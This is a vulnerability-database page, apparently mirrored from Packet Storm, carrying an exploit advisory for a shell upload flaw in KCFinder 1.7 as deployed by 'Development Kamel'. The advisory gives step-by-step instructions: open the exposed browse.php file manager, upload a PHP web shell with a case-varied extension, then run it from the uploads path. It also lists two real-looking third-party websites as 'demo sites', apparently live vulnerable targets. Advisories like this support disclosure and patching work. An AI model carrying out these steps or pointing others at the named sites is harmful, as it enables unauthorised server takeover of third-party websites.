Lucene search
K

Development Kamel KCFinder 1.7 Shell Upload

🗓️ 26 Mar 2021 00:00:00Reported by Rayan AliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 714 Views

Development Kamel KCFinder 1.7 Shell Upload Vulnerability, Discovered By RAYAN ALi on 25/03/202

Code
`#######################################################  
#  
# [+] Exploit Title : Development Kamel - KCFinder Shell Upload Vulnerability  
# [+] Date : 25/03/2021  
# [+] Exploit Author : RAYAN ALi  
# [+] Home : http://kamel.tech/  
# [+] Discovered By : RAYAN  
# [+] Vendor Homepage : http://kamel.tech/  
  
#  
#######################################################  
#  
# [+] Exploit:  
#   
# [+] http://[localhost]/resources/admin/Editor/kcfinder/browse.php?type=files  
#   
#  
#######################################################  
#  
# [+] Proof:  
#  
# [~] STEP 1 > Go to target link  
# http://localhost/resources/admin/Editor/kcfinder/browse.php?type=files  
#  
  
#  
# [~] STEP 2 > Upload your shell as [ shell.PhP7 & shell.PhP5 ]  
#  
# [~] STEP 3 > Shell execution path  
# http://[localhost]/[path]/resources/uploads/files/shell.PhP7  
# [~] The End  
#  
#######################################################  
#  
Demo Site:  
http://waqftaiba.sa/resources/admin/Editor/kcfinder/browse.php?type=files  
https://qepsco.com/resources/admin/Editor/kcfinder/browse.php?type=files  
#######################################################  
#  
# [+] Discovered By : RAYAN ALI  
# [+] https://twitter.com/i0i8x  
# [+] https://www.instagram.com/vgz_/  
# [+] Home : Null  
#  
#######################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation